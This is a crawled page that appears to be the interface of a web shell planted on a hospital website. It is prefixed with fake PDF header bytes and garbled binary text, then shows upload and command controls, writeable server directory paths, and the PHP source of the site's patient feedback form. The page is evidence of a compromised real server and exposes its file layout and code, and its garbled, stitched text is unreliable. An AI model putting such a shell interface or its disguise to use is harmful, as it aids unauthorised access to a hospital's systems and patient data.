%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :
ikan Uploader :
Directory :  /var/www/html/shardahospital.org/pdms/application/views/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/pdms/application/views/feedback.php
<?php echo link_tag('assests/css_live/style.css'); ?>
 

<div class="course-topsec slidesv">
	<div class="container">
		<div class="row">
			<div class="col-md-12">
				 
			</div>	
       </div>
	</div>
	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1440 60">
          <path fill="currentColor" d="M0,0V60H1440V0A5771,5771,0,0,1,0,0Z"></path>
   </svg>
</div>

<div class="sec-newd">
	<div class="new-var">
    	<div class="login-logo">
			<img src="<?=base_url('assests/imgs/logo_new.png')?>"> 
		</div>
         <h2>Feedback Form</h2>
		
		 <ul class="academy-secul">
			<li>
				<div class="icon">
					<img src="<?=base_url('assests/imgs/User-avatar.png')?>"> 
				</div>

				<h5><?=ucwords($recordsArray['patient_name'])?></h5>
				<p><?=ucwords($recordsArray['UHID'])?></p>
				<div class="clearfix"></div>
			</li>
					          
		 </ul>
				
				
        <ul class="feedback-ul">
        	
            <li><h3>Category 1</h3></li>
           <li> <h4>1. Lorem ipsum dolor sit ame, consectetur adipisicing elit </h4>	
            <div class="labels">
            	<label><input type="radio" name="radio" />Excellent </label>
                <label><input type="radio" name="radio" />Very Good </label>
                <label><input type="radio" name="radio" />Average </label>
                <label><input type="radio" name="radio" />Fair </label>
                <label><input type="radio" name="radio" />Poor </label>
            </div>
            </li>
            <li>
            <h4>2. Lorem ipsum dolor sit amet, consectetur adipisicing elit </h4>	
            <div class="labels">
            	<label><input type="radio" name="radio" />Excellent </label>
                <label><input type="radio" name="radio" />Very Good </label>
                <label><input type="radio" name="radio" />Average </label>
                <label><input type="radio" name="radio" />Fair </label>
                <label><input type="radio" name="radio" />Poor </label>
            </div>
            </li>
            
                        
        </ul>
        <ul class="feedback-ul">
        	  <li><h3>Category 2</h3></li>
            <li>
            
            <h4>1. Lorem ipsum dolor sit ame, consectetur adipisicing elit </h4>	
            <div class="labels">
            	<label><input type="radio" name="radio" />Excellent </label>
                <label><input type="radio" name="radio" />Very Good </label>
                <label><input type="radio" name="radio" />Average </label>
                <label><input type="radio" name="radio" />Fair </label>
                <label><input type="radio" name="radio" />Poor </label>
            </div>
            </li>
            <li>
            <h4>2. Lorem ipsum dolor sit amet, consectetur adipisicing elit </h4>	
            <div class="labels">
            	<label><input type="radio" name="radio" />Excellent </label>
                <label><input type="radio" name="radio" />Very Good </label>
                <label><input type="radio" name="radio" />Average </label>
                <label><input type="radio" name="radio" />Fair </label>
                <label><input type="radio" name="radio" />Poor </label>
            </div>
            </li>
            
                        
        </ul>
        
        <ul class="feedback-ul">
        	 
            <li>
            
            <h4>Lorem ipsum dolor sit ame, consectetur adipisicing elit </h4>	
            
            <textarea placeholder="Write Here...."></textarea>
            </li>
            </ul>
              <ul class="feedback-ul">
            <li>
            <h4> Lorem ipsum dolor sit amet, consectetur adipisicing elit </h4>	
            <div class="labels">
            	<label><input type="radio" name="radio" />Yes </label>
                <label><input type="radio" name="radio" />No</label>
             
            </div>
            <textarea placeholder="Write Here...."></textarea>
            </li>
            
                        
        </ul>
        
        
        <button class="button1">Submit</button>
        
    </div>
</div>

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